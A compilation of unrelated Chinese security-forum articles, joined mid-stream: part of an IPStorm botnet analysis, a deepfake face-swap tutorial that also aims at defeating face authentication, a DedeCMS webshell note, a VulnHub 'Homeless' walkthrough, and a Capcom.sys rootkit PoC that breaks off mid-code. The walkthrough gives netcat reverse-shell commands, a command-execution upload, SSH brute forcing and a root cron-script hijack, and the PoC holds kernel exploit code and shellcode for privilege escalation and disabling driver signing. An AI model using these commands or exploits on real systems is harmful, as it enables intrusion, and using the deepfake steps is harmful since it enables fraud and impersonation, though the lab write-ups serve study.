src io.ReadWriter
dst io.ReadWriter
}
在较新的版本中，这是通过使用gostream包来抽象的。
传入连接的对等方在模块的逻辑中不需要相同，但它们都被称为（并在DDB中标记）代理后端。根据我们对IPStorm
Bot的观察，代理模块在启动后不久就会收到连接请求。连接源是作为代理后端的同一节点（Qmeb3X55MaoKhZfYsUHFgkZWAz3ZFtQCQz6qiaEqamo7a2）。我们假设这是由于代理检查机制造成的，并且没有调查代理是否最终接收到真实的流量。
#### Filetransfer
IPStorm以分布式方式托管恶意软件二进制文件，每个Bot“seeding”一个或多个样本。这个功能在filetransfer包中实现。Bot定期检查更新：它从DDB或通过webapi检索最新版本号。如果有一个新版本可用，它将被下载，然后使用新的二进制文件杀死并重新生成bot。这个过程将生成一个新的密钥对。当与本机体系结构和操作系统匹配的示例存储在文件系统中时，其他示例存储在RAM中。根据可用的RAM，许多其他示例被下载并在本地HTTP服务器上提供服务。此服务器在Bot启动时在随机端口上打开，并在DDB中公布。对于每个托管的示例，条目“seeder:”+checksum和“seeder
http:”+checksum被格式化为Bot的对等ID或其外部IP和端口分别是HTTP服务的。在较新的版本中，这被替换为向2WebAPI发布等效数据端点。
下载样本的过程有几个步骤：
* 检索特定CPU架构和操作系统的最新示例的校验和
* 为具有该校验和的文件查找种子生成器
* 通过HTTP或IPFS（protocol/sfst/1.0.0）连接到对等机并下载示例
* 验证校验和
[statik](https://github.com/rakyll/statik
"statik")模块用于将zip文件存储到内存中，从中可以单独检索文件。档案包含：
第一个脚本，linux/install.sh，在SSH感染中用作主负载的下载器/dropper。这个脚本是由bot-adhoc定制的，添加了一个变量，其中包含了有效负载的最新“seeders”。当Bot更新时，storm_android中的脚本用于重新配置android设备上的持久性。
#### WebAPI
自从0.1.92a版本的IPStorm开始从PubSub模型过渡到更集中的设计。机器人将不再协调使用其他机器人发布的消息。相反，所有信息由一个或多个C2节点聚合，这些节点公开了一个Web
API。
P2P协议采用了LibGo的[HTTP分层连接包](https://github.com/libp2p/go-libp2p-http
"HTTP分层连接包")。IPStorm代码中称为“web API后端”的服务由其对等id寻址，并使用对等发现机制进行发现。
这种转变的原因尚不清楚。一些可能的解释是，开发人员已经意识到当事方可以读取并可能干扰主题并希望获得更多控制权，或者同步不可靠。后者可以解释为什么我们看到多个Bot使用旧的恶意软件版本而被卡住，尽管代码设计为自动更新到最新的可用版本。
除了确保p2p同步由bot-herder控制的节点监督外，消息保持身份验证，并使用与DDB相同的可信密钥集强制授权。
以下API公开了以下终结点：
### 僵尸网络映射
在我们监控僵尸网络的过程中，我们使用了来自多个来源的数据：
* 公开的“peer info”（ID、公钥、地址和版本信息）
* 发布主题信息：DDB主题、信息主题
* 在DHT中查询属于僵尸网络的对等方
在第一种方法中，我们使用IPFS爬虫收集的对等信息数据库。属于僵尸网络的节点很容易通过它们的代理版本来识别，这类似于HTTP协议中的用户代理。
对于使用go-libp2p构建的应用程序，AgentVersion默认设置为主包的名称。IPStorm节点的AgentVersion设置为storm。此属性使我们能够找到不在其他频道（如info主题）上声明自己的节点。
其次，我们使用相同的机制，使IPStorm Bot能够找到对等点：在DHT中查询僵尸网络中不同类别节点（常规节点或具有特殊角色的节点）提供的特定内容id。
有关Bots的id的信息也可以在info主题和DDB主题中找到。我们使用DDB主题中的数据来跟踪由威胁参与者控制的对等方的版本和角色。信息主题中的数据提供了按国家、设备类型和操作系统划分的受害者分布情况。
在估计僵尸网络的规模时，我们面临的问题是，没有明确的方法来区分两个节点id是否代表同一个受感染的设备。可以通过版本ID更新或重新感染。外部IP也不是一个好的标识符，因为它会随着时间而变化，或者因为多个节点可能在NAT之后。
我们根据一周内不同的网络规模，平均数周内看到的僵尸数量大约有9000台设备。绝大多数人的操作系统是Android，约1%使用Linux。
根据他们在信息主题上发布的消息，仍然有许多设备运行IPStorm
0.1*之前的版本，并将Windows作为其操作系统。由于新的活动只关注Unix系统，因此，值得注意的是，自2019年以来，这些Bot一直在这些设备上运行。
虽然指纹不包含有关设备型号的特定信息，但可以从操作系统，内核版本，有时还有主机名和用户名。基于此，我们确定了路由器、NAS设备、UHD接收器和多功能板和微控制器（如Raspberry
Pi），它们可能属于物联网设备。
以下数字是由外部IP确定的受害者的地理分布。他们大多数在亚洲。
僵尸网络总共影响了98个国家，就其扫描互联网的能力而言，它似乎很强大，但是通过对攻击媒介的选择，攻击目标是在某些国家更普遍的设备类别。我们的蜜罐平均每天收到3500次来自这个僵尸网络的攻击，相当于流量的很大一部分。
按国家分类的IPStorm受害者分布情况：
IPStorm受害者的精确位置分布：
### 基础设施
虽然我们没有设法从管理基础设施中获得大量二进制文件，但它们很可能是在同一个项目中开发的，我们可以在Bot二进制文件中找到一些与它们相关的线索。管理节点使用相同的AgentVersion，这是基于主包的路径设置的，这一事实支持了这一假设。
包中有一些附加的包，其中没有代码（除了一些初始化函数）：
storm/commander/web_app/router
storm/proxy/checker
storm/util/storm_runtime
这些包可能与管理受害者的web界面和代理可用性的自动检查器相对应。
据我们所知，从管理基础设施分配给节点的特殊角色是：
* proxy backend
* proxy checker
* reque manager
* web API backend
* trusted node
* development node
观察到以下节点：
* ID: QmW1ptn27xSAgZqBvJwhaGWmJunjzqAGt1oAj4LdVAm9vM
Roles: trusted, web API backend
Addresses: /ip4/212.x.x.100/tcp/444, /ip4/212.x.x.100/tcp/5554,
/ip4/88.x.x.34/tcp/444
* ID: QmddMf2PfNXu6KVKp63rcLhWpNqQdaQdPZzP649dRXS6et
Roles: unknown
Addresses: /ip4/212.x.x.100/tcp/443
* ID: Qmeb3X55MaoKhZfYsUHFgkZWAz3ZFtQCQz6qiaEqamo7a2
Roles: trusted, web API backend, reque manager, proxy backend, proxy checker
Addresses: /ip4/54.x.x.216/tcp/444, /ip4/54.x.x.216/tcp/5554,
/ip4/101.x.x.240/tcp/443, /ip4/101.x.x.222/
tcp/443, /ip4/111.x.x.85/tcp/443
* ID: QmViHGaXaG5JzbvH2Xs1Ro19fvoKG1KqpPGMYWLc4ckEAV
Roles: proxy backend, reque manager
Addresses: /ip4/54.x.x.216/tcp/443, /ip4/54.x.x.216/tcp/5555
* ID: QmShLAfGGVDD32Gsx5Q2YbuhdDm1uHAmV8aozV6uRKAZdW
Roles: trusted
Addresses: unknown
* ID: QmNWL3UTHbfCxhKA8Lu9aL2XpPGGYQmN4dihXsaCapiyNx
Roles: trusted
Addresses: unknown
* ID: QmV7UYLoDmUv3XViiN1GqrsC6t8WLPGmCKTMAJ544x2pbA
Roles: proxy backend
Addresses: /ip4/45.x.x.194/tcp/443
* ID: QmdACwNe1JdkD2N45LRbcFthPpEVQVtfBvuHFHQ4cFMcAz
Roles: development
Addresses: unknown (External IP: 163.172.x.x)
* ID: QmNoV8qAgLTEo1nQN8wmusi9U9kmArUjVNsKY4TdYS1wvT
Roles: development
Addresses: unknown
随着时间的推移，其中一些节点已经改变了它们的地址和角色。所列信息来源于最近几个月收集的可公开获取的信息。我们只包含外部IP和端口的多地址。对于某些节点，我们的数据只包含中继电路地址，因此它们的地址被列为未知。
有趣的是，一个由7个节点组成的组出现在2020年9月17日，宣布自己是web API CID的提供者：
QmNeV49LPkgQENkpSmg6q8nB1jypY74jhtWxP9rANUQubd
QmRG9bwpWumxkNwGbceiMXmikAeNDw48kiTRaJSt8rSmzp
QmXPUhUy4e2jg6dqjfsTnseC5m5KHgZvqMr6AwVutdcQGL
QmYmDUkGJJ5K2BQ6JYuJeN2SJB3wfDg2N78th6tMEmHgSF
QmbNwkGiHrK9XcP6n2vMZh9sZMoicvcrhaTbtXMzoC8rp1
QmbcbZb8Jq8u44oCqna5h2ZBjSpRT42dNLDDNCyuSfGu3L
Qmek3KNuJY3eRbSGZ9zm2M8yYLb7bMeA28gMswQXarhbmW
我们无法确定它们的来源和目的。一种理论认为，它们可能属于试图用[Sybil](https://en.wikipedia.org/wiki/Sybil_attack
"Sybil")攻击摧毁僵尸网络：Bot试图到达虚假的Web API节点，而依赖于该模块的功能受到阻碍。
### 结论
我们相信Interplanetary
Storm僵尸网络不仅有能力作为租用基础设施的匿名代理，而且具有高度活跃的开发周期。僵尸网络的主要目的似乎是财务上的，因为代码经过了大量的修改，以创建一个可靠和稳定的代理基础设施。
* * * | 社区文章 |
## 前言
前一阵子，就17年12月的时候，reddit上有一个用户用深度学习把神奇女侠的脸嫁接在了小电影上。当时引起了轰动，因为效果十分真实，令人震惊！
过了1个月不到，有人整合了所有工具，整出来了一个叫FakeApp，现在已经到了2.1.0的版本。
由于好奇原理，于是前往reddit一探究竟。
## 原理
首先先去观摩了一下reddit上的deepfakes的板块 [传送门](https://www.reddit.com/r/deepfakes/)。
已经换上了明星的大量NSFW视频已经被人上传。
排在第一位的是deepfakeapp的post。也是[fakeapp的介绍帖](https://www.reddit.com/r/deepfakes/comments/7ox5vn/fakeapp_a_desktop_tool_for_creating_deepfakes/)。
简单看了一遍他的实现过程。原理十分简单。
假设我们要用B头像去替换A的
* 收集A和B的照片
* 使用神经网络(GAN)去学习识别和生成A和B的照片
* 然后需要替换的视频使用FFMepg把所有的帧分离
* 使用A的模型去标注和识别出所有的帧
* 是用B去替换A的面部
* 再用FFMepg把所有的帧合成
原理理解后，下面我们来开始做一下实验
## 准备工作
我们实验的目的是用川普去替换尼古拉斯凯奇的脸。
* 硬件和平台环境
* python + cuda 的环境。详情可以到这里看[我的配置](https://xianzhi.aliyun.com/forum/topic/1934)
* 训练的磁盘需要 3-4 GB
* 制作的原料
* 由于准备图片的工作需要消耗大量的时间，这里直接使用reddit上已经整理出来的尼古拉斯凯奇和川普图片各300张。
* 一段川普演讲的视频
* fakeapp
* ffmpeg
对=。= 就是那么简单，几百张图片就可以生成模型。但是这里有几个要素。下面再说。
## 实验步骤
### 文件路径
* E:\face\ #总目录
* E:\face\data_A\ #尼古拉斯的头像
* E:\face\data_B\ #川普的头像
* E:\face\model\ #生成模型的地方
* E:\20out.mp4 #要替换的视频
### 获取图片文件
这里fakeapp可以帮你把视频文件分解成一张张图片给你去截取头像。也就是说可以通过两个人的视频直接截取头像来进行生成，这样效果最好，因为训练和输出的数据集是一样的
。
但是因为我们替换的是名人，我们选择一种更为通用的办法，就是把两个人多角度的直接进行训练。
### 训练模型
* 点击fakeapp 选择 TRAIN的按钮
* 依次输入model，Data A 和 Data B的路径
* 这里的设置可以选合适自己的
* 由于是祖传的970 这里选的Batch size是64 和 Save Period是100. =。= 几乎和我上次的跳一跳设置一致。 T T 显存不够的悲剧。
* 当然你也可以选择只用CPU来训练，但是就是非常慢。
* 点击Train即可开始。
经过漫长的等待之后（我的环境是12个多小时）。Loss到了0.03左右，依次变化的情况，
刚开始，非常模糊只有轮廓
面部特征慢慢凸显，但是没看到明显的转变
面部特征非常明显，出现了完美换脸的情况
经过了12个小时的训练 lost到了0.3。大部分的脸都已经比较完美的替换了。
这里我们按下Q，停止训练。
### 生成视频
这里的视频是随便下载的一个尼古拉斯的视频，为了实验直接剪辑了10秒左右。
* 点击Create的选项，输入模型位置，输入视频的位置，FPS选30（默认就是30）
* 这里需要经历4个阶段
* frames split [使用ffmepg把视频分成帧]
* frames aligned [把每一帧的川普的面部位置识别并且裁剪出来]
* frames converted [把裁剪后的帧替换成尼古拉斯凯奇合并到原帧上]
* frames merged [把所有图片合并成视频]
### 生成结果
从开始到现在花了12个多小时的时间，效果如下
原视频
5个小时的结果
12个小时的结果
川普的面部特征基本替换成功。但是两人的毛发相差过大，看起来替换的痕迹还是很明显。
### 危害
只是随意300张图+12个小时就可以替换生成比较形似的视频，如果使用稍微高级一点的设备，花更长的时间训练模型，则人物的换脸程度更加逼真。（reddit上有一部生成了2个小时的视频，看下来感觉和真人演的差不多。别问我为啥知道...自己去看。）
那么如果用的是你平时的照片去生成一些恶意视频
* 不可描述的小视频
* 解锁你的设备：电脑，手机等
* 解锁你的软件：支付宝，微信等
* 通过视频直接欺骗你的父母，朋友等骗取财物
那么后果将不可设想。
所以，如果你现在还在社交网络上发照片的话！！请务必确保安全性。
* 最好通过一些美化软件添加一点特效，遮盖眼睛，鼻子等部位，使得脸部特征减少。
* 带点装饰品，比如帽子或者用手比V去遮挡等等
对于社交平台来说，
* 为用户的照片添加细微的噪点用于干扰设别模型（不过这并不管用=。=，通过截图的等方式会直接去掉小噪点）
* 防止恶意批量采集
### 后续的研究
* 采集照片的方式。实验是用了300张图，但是reddit上完全仿真的用了700张甚至是更多是生成模型，个人觉得是采集方式的问题，比如一个人的脸部，斜着，侧着，正着，仰着，只要采集到360度旋转各个方向的照片，再加上明暗度，应该就可以生成一个人的模型了，不过具体还在实验，实验器材比较差，实验一次=。= 花太久时间了。
* reddit有人提出用GAB的这个替换现在的算法会有更高效率 <https://github.com/shaoanlu/faceswap-GAN> 打算尝试这个自己编写生成部分
* fakeapp的合成部分的参数设置有点问题。正和fakeapp的作者沟通。
* 尝试直接通过摄像头去捕抓人脸用模型去替换，去绕过一些APP的认证。
### 最后
所以，看到这里，你还敢在社交平台上发自拍吗？ | 社区文章 |
# 前言
Dedecms最新版后台getshell太多了，以往漏洞复现可参考[[代码审计day3]Dedecms](http://wulidecade.cn/2019/02/25/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1day3-Dedecms/#%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90)
版本：deedcms v5.7 sp2
下载链接：<http://updatenew.dedecms.com/base-v57/package/DedeCMS-V5.7-UTF8-SP2.tar.gz>
# 漏洞利用
在后台默认模板管理先创建一个html。内容为一句话webshell。
接着在生成处更新主页的HTML，可以看到成功在index.php中写入一句话webshell
最终上菜刀
# 漏洞分析
下面给出代码如何被写入index.php的
在/dede/makhtml_homepage.php
# 漏洞修复
等官方的吧。 | 社区文章 |
## 前言
本次靶机难度中等，还是长了很多见识，值得学习
## 环境准备
下载Homeless靶机：<https://download.vulnhub.com/homeless/Homeless.zip>
下载好后解压，如果安装好了vmware直接单击ova文件，用vmware运行安装即可
主机：kali linux 222.182.111.129
靶机 : Homeless靶机
辅助：windows 222.182.111.1
目标：拿下靶机root权限和里面的flag
## 信息收集
1.确定靶机ip （我是将靶机的网络模式改成nat模式，共享主机的ip，让靶机和主机在同一网段下）
扫描同网段下其余存活主机：
`nmap -sP 222.182.111.1/24`
222.182.111.1为网关地址，222.182.111.254为虚拟机分配ip的结束地址，222.182.111.129为kali地址，所以确定靶机ip为222.182.111.139
2.扫描靶机确定端口及服务
`nmap -A -p- 222.182.111.139`
可以看到开放了22(ssh)、80(http)这2个端口
## 构造User-Agent
80端口起手
看起来有些像鸡汤文，但是没有什么有用的，爆破到robots.txt
这是暗示我们kali下的rockyou字典吗？现在也用不了啊，先放着吧
回到主页面，发现一个奇怪的地方，往下翻时看到了这个：
这不是User-Agent吗？怎么会放在这种地方
查看源代码
发现直接把User-Agent打印了出来，并且提示我们Please check carefull.... Good luck!
估计这就是突破口了
除此之外还发现几张图片，先放着吧。
既然我们的上传的User-Agent会被打印出来，那我们就试试其他User-Agent,看能否打印出来
这里我们使用curl工具，因为该工具有一个-A参数可以自定义User-Agent
`curl -A "hellojlzj" http://222.182.111.139 #自定义User-Agent为hellojlzj`
可以看到成功将我们上传的User-Agent打印了出来
但是好像没什么其他返回，猜测是验证了我们上传的User-Agent，如果不是它想要的，就直接打印出来
所以我们需要找到一个它需要的User-Agent上传
这时候想起来还有几张照片，我们看看favicon.jpg是什么
看起来是一直有些忧伤的狗狗，真是印证Homeless的主题，看到图片顶部有一行标题，说实话，是真难看清，试了很多种
cyberrdog slerting Portal
cyberrdog slerding Portal
cyberdog slerting Portal
cyberdog slerting Point
cyberdog slerding Portal
cyberdog slerding Point
发现只要User-Agent中带有cyberdog，就能拿到重要信息
`curl -A "cyberrdog slerting Porl" http://222.182.111.139`
`curl -A "cyberdog slerting Porl" http://222.182.111.139`
提示：Nice Cache!.. Go there.. myuploader_priv
## 文件上传
这有一个路径/myuploader_priv
嘿嘿，那我们尝试上传马，发现对文件大小有限制
经过一番测试，发现以下信息：
可以上传任意后缀文件
文件大小必须小于8bytes
新上传的文件会覆盖之前上传的文件
我们必须构造一个足够小的php文件
构造如下代码写入jlzj.php
<?=`ls`; #这句代码在php里等同于<?php echo `ls`;?> ，是这段代码的缩写
写入完成，发现刚好8字节
nice,拿去上传，发现上传成功，并且路径也暴露出来为/files/jlzj.php
我们访问jlzj.php,会解析里面的ls命令，查看有哪些文件
可以看到有一个可疑txt文件，访问看看
发现一行密文，各种解密解不出来，我真傻，都提示我是`ip/d5fa314e8577e3a7b8534a014b4dcb221de823ad`
这就是这一个目录吗，直接访问不就完事儿了
## 基于全等的MD5碰撞绕过
一个登陆页面，毫无操作空间，突然看到右上角`need Hint?`我英语不好，还是知道Hint是暗示的意思
点击下载一个index.php.bak备份文件，notepad++看看
是登录页面的后台代码，看来需要思考思考如何绕过
重点在于这里
要求我们POST的username,password,code值不能相同，但是md5必须类型和值都相等才能重定向到admin.php
说到这里，大家可能想到ctf里常用的md5
compare漏洞，但是注意，这里是全等（===），相信大家都知道`==`与`===`的区别，全等于会检查类型和值。
所以会比较md5(username),md5(password),md5(code)类型和值，双等于存在漏洞的原因其实是，0E开头的MD5值php解析器会解析为numerical
strings，在双等于（==）情况下，会先判断类型，识别为numerical
strings，会强制转换为数字，所以0e开头的MD5值都为0，所以才能绕过，然而三等于就比较有脾气了，必须一对一的核对两个字符串，不存在什么类型转换问题，所以开头0e相同，后面不同，也就不满足了
那这时大家肯定会说：那就用数组绕过，反正大家都解析为NULL，然而并不行
返回`Your input can not be the same`说明三个值相等了，因为三个值都进行了string强制类型转换
那就没办法绕过了吗？当然有
这里使用一个md5快速碰撞工具fastcoll(下载链接附在文末)，以及文件hash查看命令`certutil -hashfile`
我们先使用fastcoll将一个notepad++.exe文件生成为另外两个不同的notepad++1.exe,notepad++2.exe
生成成功
然后我们用certutil命令看看这两个文件的SHA1的值一不一样
certutil -hashfile D:\notepad++1.exe SHA1
certutil -hashfile D:\notepad++2.exe SHA1
两个exe文件的SHA1值不相同，说明这两个文件不同，但是我们看看他们的MD5值呢？
certutil -hashfile D:\notepad++1.exe MD5
certutil -hashfile D:\notepad++2.exe MD5
MD5值竟然相同，说明我们MD5算法还是存在缺陷的
但是问题依旧存在，本次靶机要求三个MD5相同的文件，而fastcoll工具只能一次性生成两个文件，只有这两个文件的MD5值相同，所以这里我们需要借助一个工具tail.exe（windows下的tail命令，用于查看文件内容，并且可将指定长度内容输出到另一文件，下载链接放在文末）以及windows下的type命令
本次过程在windows cmd.exe执行，具体生成过程如下：
D:\fastcoll>fastcoll_v1.0.0.5.exe -o jlzj0 jlzj1 #-o参数代表随机生成两个相同MD5的文件
D:\fastcoll>fastcoll_v1.0.0.5.exe -p jlzj1 -o jlzj00 jlzj01 #-p参数代表根据jlzj1文件随机生成两个相同MD5的文件，注意：生成的MD5与jlzj1不同
D:\fastcoll>tail.exe -c 128 jlzj00 > a #-c 128代表将jlzj00的最后128位写入文件a，这128位正是jlzj1与jlzj00的MD5不同的原因
D:\fastcoll>tail.exe -c 128 jlzj01 > b #同理
D:\fastcoll>type jlzj0 a > jlzj10 #这里表示将jlzj0和a文件的内容合并写入jlzj10
D:\fastcoll>type jlzj0 b > jlzj11 #同理写入jlzj11
到这里已经生成了jlzj00,jlzj01,jlzj10,jlzj11四个MD5相同的文件
我们看下四个文件的MD5值以及SHA1值是否满足条件
ok，满足条件，构造成功
我们用windows下的curl.exe(类似于kali curl命令，下载链接附文末)进行POST测试
curl.exe --data-urlencode username@D:\fastcoll\jlzj00 --data-urlencode password@D:\fastcoll\jlzj01 --data-urlencode code@D:\fastcoll\jlzj10 --data-urlencode "remember=1&login=Login" http://10.1.13.37/d5fa314e8577e3a7b8534a014b4dcb221de823ad/index.php -i
成功跳转到admin.php，并且拿到一个session：`j2fptj2a3gc083teaicfaeen45`
我们用google的扩展EditThiscookie将该session值添加保存到`http://222.182.111.139/d5fa314e8577e3a7b8534a014b4dcb221de823ad/admin.php`
PS:注意，一次session只能用一次，如果会话掉了需要重新生成session，重新添加
再访问该url，访问成功
是一个命令输入框，明摆着命令执行拿shell
看来后台未对输入做任何限制
## bash反弹shell
在kali中输入命令：
`nc -lvp 4444`
在代码执行界面输入：
`nc -e /bin/bash 222.182.111.129 4444`
成功拿到shell
## 提权
在/home目录下看到一个隐藏文件.secret_message
该文件与一个downfall用户有关，我们直接查看被限制了权限，说不定downfall才能查看
这是还记得robots.txt里面提示的rockyou字典，我们hydra爆破该用户名ssh登录试试
`hydra -l downfall -P /usr/share/wordlists/rockyou.txt -t 4 222.182.111.139
ssh`
我等啊等啊，发现还没爆破出来，几乎崩溃，才发现作者在vulnhub留下了提示：
密码是sec开头的，这就好办了，我们把rockyou.txt里sec开头的密码提取出来：
`grep -Pao '^sec.*$' /usr/share/wordlists/rockyou.txt > pass.txt`
然后再用pass.txt爆破,爆破成功，密码为`secretlyinlove`
我们用ssh登录
我们查看`.secret_message`的内容，发现`/lib/logs`目录下的`homeless.py`
切换到该目录就发现一句话：`You have new mail in /var/mail/downfall`
我们看看这份mail写的什么：
发现系统每分钟会以root权限执行命令`cd /lib/logs/ && ./homeless.py`
我们看看homeless.py的内容
里面有os.system函数，尝试是否可以修改脚本，利用bash反弹shell,这样一分钟系统会自动以root权限运行该脚本，反弹的shell也就是root用户的了
添加:`os.system('/bin/nc -e /bin/bash 222.182.111.129
4444')`，这里我登录了ssh之后,关掉了之前的shell，所以还是用的4444端口监听，端口只要对应就行了
(注意#!/usr/bin/env python)添加完后homeless.py内容如图：
在kali上开启nc监听,等待系统自动执行脚本，拿到root权限
## 获取flag.txt
## 总结
我认为本次靶机有三个难点：
1.上传小于8bytes的脚本，绕过文件大小验证几乎没有捷径
2.基于全等的MD5碰撞绕过，有三个参数，并且无法用数组绕过
3.利用系统进程提权，不耐心往下看，发现不了mail里的`cd /lib/logs/ && ./homeless.py`
通过这个靶机，我学到了很多，你们呢？
希望不足之处大家指正
## 参考链接
fastcoll下载链接：<http://www.win.tue.nl/hashclash/fastcoll_v1.0.0.5.exe.zip>
tail.exe下载链接：<https://www.trisunsoft.com/tail-for-windows.htm>
curl.exe下载链接：<https://curl.haxx.se/windows/>
其他参考链接：
<http://www.runoob.com/linux/linux-comm-tail.html>
<https://blog.csdn.net/sysprogram/article/details/73753354>
<https://my.oschina.net/u/2310891/blog/631401>
<https://www.jianshu.com/p/d074f7b96e07>
<https://www.cnblogs.com/doseoer/p/7044344.html> | 社区文章 |
# 【技术分享】Capcom Rootkit PoC的实现（含演示视频）
|
##### 译文声明
本文是翻译文章，文章来源：fuzzysecurity.com
原文地址：<http://www.fuzzysecurity.com/tutorials/28.html>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
翻译：[myswsun](http://bobao.360.cn/member/contribute?uid=2775084127)
预估稿费：160RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:linwei@360.cn)，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**0x00 前言**
最近，我读了一篇关于Derusbi恶意软件的[文章](http://www.sekoia.fr/blog/windows-driver-signing-bypass-by-derusbi/)。那篇文章主要是关于恶意软件作者使用了一种技术，利用签名的Novell驱动的漏洞（CVE-2013-3956）修改一些内核中的位来临时禁用驱动签名。一旦禁用了，Derusbi加载一个NDIS驱动，可能用来嗅探原始数据包的传输（我没有细看）。
不管怎样，我很好奇相同功能的PoC有多困难（事实是也不是很困难）。为了完整描述攻击者的场景，我决定使用签名驱动（Capcom.sys）中的漏洞，它首先由[TheWackOlian](https://twitter.com/TheWack0lian/status/779397840762245124)在2016年9月23日披露。
**0x01 资源**
Capcom-Rootkit（[@FuzzySec](https://twitter.com/fuzzysec)）-[这里](https://github.com/FuzzySecurity/Capcom-Rootkit)
Derusbi绕过Windows驱动签名 – [这里](http://www.sekoia.fr/blog/windows-driver-signing-bypass-by-derusbi/)
快速浏览强制驱动签名（[@j00ru](https://twitter.com/j00ru)） –
[这里](http://j00ru.vexillium.org/?p=377)
对抗X64强制驱动签名（[@hFireF0X](https://twitter.com/hfiref0x)）-[这里](http://www.kernelmode.info/forum/viewtopic.php?f=11&t=3322)
**0x02 驱动漏洞**
本文主要的目的不是分析驱动漏洞。我强烈建议你看下[@TheColonial](https://twitter.com/TheColonial)的演示，以更好的理解利用过程。
本质上，驱动提供了ring0代码执行作为一个服务。它唯一的功能是使用用户层的指针来禁用[SMEP](http://j00ru.vexillium.org/?p=783)，执行指针地址的代码并重新启用SMEP。函数的反汇编如下：
Powershell PoC如下，描述了如何利用。
# Some tricks here
# => cmp [rax-8], rcx
echo "`n[>] Allocating Capcom payload.."
[IntPtr]$Pointer = [CapCom]::VirtualAlloc([System.IntPtr]::Zero, (8 + $Shellcode.Length), 0x3000, 0x40)
$ExploitBuffer = [System.BitConverter]::GetBytes($Pointer.ToInt64()+8) + $Shellcode
[System.Runtime.InteropServices.Marshal]::Copy($ExploitBuffer, 0, $Pointer, (8 + $Shellcode.Length))
echo "[+] Payload size: $(8 + $Shellcode.Length)"
echo "[+] Payload address: $("{0:X}" -f $Pointer.ToInt64())"
$hDevice = [CapCom]::CreateFile("\.Htsysm72FB", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
if ($hDevice -eq -1) {
echo "`n[!] Unable to get driver handle..`n"
Return
} else {
echo "`n[>] Driver information.."
echo "[+] lpFileName: \.Htsysm72FB"
echo "[+] Handle: $hDevice"
}
# IOCTL = 0xAA013044
#--- $InBuff = [System.BitConverter]::GetBytes($Pointer.ToInt64()+8)
$OutBuff = 0x1234
echo "`n[>] Sending buffer.."
echo "[+] Buffer length: $($InBuff.Length)"
echo "[+] IOCTL: 0xAA013044"
[CapCom]::DeviceIoControl($hDevice, 0xAA013044, $InBuff, $InBuff.Length, [ref]$OutBuff, 4, [ref]0, [System.IntPtr]::Zero) |Out-null
有了执行任意的shellcode的能力，我选择了一个GDI
bitmap原语，能使我们获得在内核中永久性的读写的能力，而不用一遍又一遍的调用驱动。为了创建bitmap，我使用[Stage-gSharedInfoBitmap](https://github.com/FuzzySecurity/PSKernel-Primitives/blob/master/Stage-gSharedInfoBitmap.ps1)，并且使用下面的形式构建了shellcode。
# Leak BitMap pointers
echo "`n[>] gSharedInfo bitmap leak.."
$Manager = Stage-gSharedInfoBitmap
$Worker = Stage-gSharedInfoBitmap
echo "[+] Manager bitmap Kernel address: 0x$("{0:X16}" -f $($Manager.BitmapKernelObj))"
echo "[+] Worker bitmap Kernel address: 0x$("{0:X16}" -f $($Worker.BitmapKernelObj))"
# Shellcode buffer
[Byte[]] $Shellcode = @(
0x48, 0xB8) + [System.BitConverter]::GetBytes($Manager.BitmappvScan0) + @( # mov rax,$Manager.BitmappvScan0
0x48, 0xB9) + [System.BitConverter]::GetBytes($Worker.BitmappvScan0) + @( # mov rcx,$Manager.BitmappvScan0
0x48, 0x89, 0x08, # mov qword ptr [rax],rcx
0xC3 # ret
)
这个技术的更多细节能在[@mwrlabs](https://twitter.com/mwrlabs)的标题[A Tale Of Bitmaps:
Leaking GDI Objects Post Windows 10 Anniversary
Edition](https://labs.mwrinfosecurity.com/blog/a-tale-of-bitmaps/)和我的Windows利用开发教程系列的[part
17](http://www.fuzzysecurity.com/tutorials/expDev/21.html)中找到。
**0x03 Rootkit功能**
现在我们有了内核中任意读写的能力，我们能开始完成我们的rootkit功能。我决定集中在两个不同的功能上：
1\. 将任意读写的PID提升到SYSTEM权限
2\. 在运行时禁用强制驱动签名，以便在内核中加载未签名的代码
**任意进程提权**
我们需要遍历EPROCESS结构链表，复制SYSTEM的EPROCESS令牌字段，并且使用这个值覆盖目标进程的EPROCESS结构。没有任何现成的漏洞，我们实际上可以在用户层泄漏一个指针指向System（PID
4）的EPROCESS入口。
应该注意，使用SystemModuleInformation能泄漏当前加载的NT内核的基址，
只在Windows8.1后的中等完整进程中起作用。我们能在Powershell简单实现这个过程，使用Get-LoadedModules，并在KD中验证我们的结果。
因此我们有了一种方法，来得到System的EPROCESS结构的指针，并使用我们的bitmap原语我们能够简单的读取与那个进程相关的SYSTEM令牌。最后一件事，我们需要遍历ActiveProcessLinks链表，来找到我们想要提权的进程的EPROCESS结构。列表结构如下（Windows
10 x64）。
这个列表是个双向循环列表。简单来说，我们将使用我们的bitmap原语来读取当前EPROCESS结构的PID，如果匹配了PID，我们将覆盖这个进程的令牌，如果不能匹配，我们从ActiveProcessLinks->Flink读取下个EPROCESS结构的地址，并重复。
EPROCESS结构是不透明的（未文档化），且不同的Windows系统会不同，但是我们能维护一个静态的偏移列表。我强烈推荐看一下[@rwfpl](https://twitter.com/rwfpl)的[Terminus
Project](http://terminus.rewolf.pl/terminus/)。偷取令牌的逻辑的Powershell实现如下。
function Capcom-ElevatePID {
param ([Int]$ProcPID)
# Check our bitmaps have been staged into memory
if (!$ManagerBitmap -Or !$WorkerBitmap) {
Capcom-StageGDI
if ($DriverNotLoaded -eq $true) {
Return
}
}
# Defaults to elevating Powershell
if (!$ProcPID) {
$ProcPID = $PID
}
# Make sure the pid exists!
# 0 is also invalid but will default to $PID
$IsValidProc = ((Get-Process).Id).Contains($ProcPID)
if (!$IsValidProc) {
Write-Output "`n[!] Invalid process specified!`n"
Return
}
# _EPROCESS UniqueProcessId/Token/ActiveProcessLinks offsets based on OS
# WARNING offsets are invalid for Pre-RTM images!
$OSVersion = [Version](Get-WmiObject Win32_OperatingSystem).Version
$OSMajorMinor = "$($OSVersion.Major).$($OSVersion.Minor)"
switch ($OSMajorMinor)
{
'10.0' # Win10 / 2k16
{
$UniqueProcessIdOffset = 0x2e8
$TokenOffset = 0x358
$ActiveProcessLinks = 0x2f0
}
'6.3' # Win8.1 / 2k12R2
{
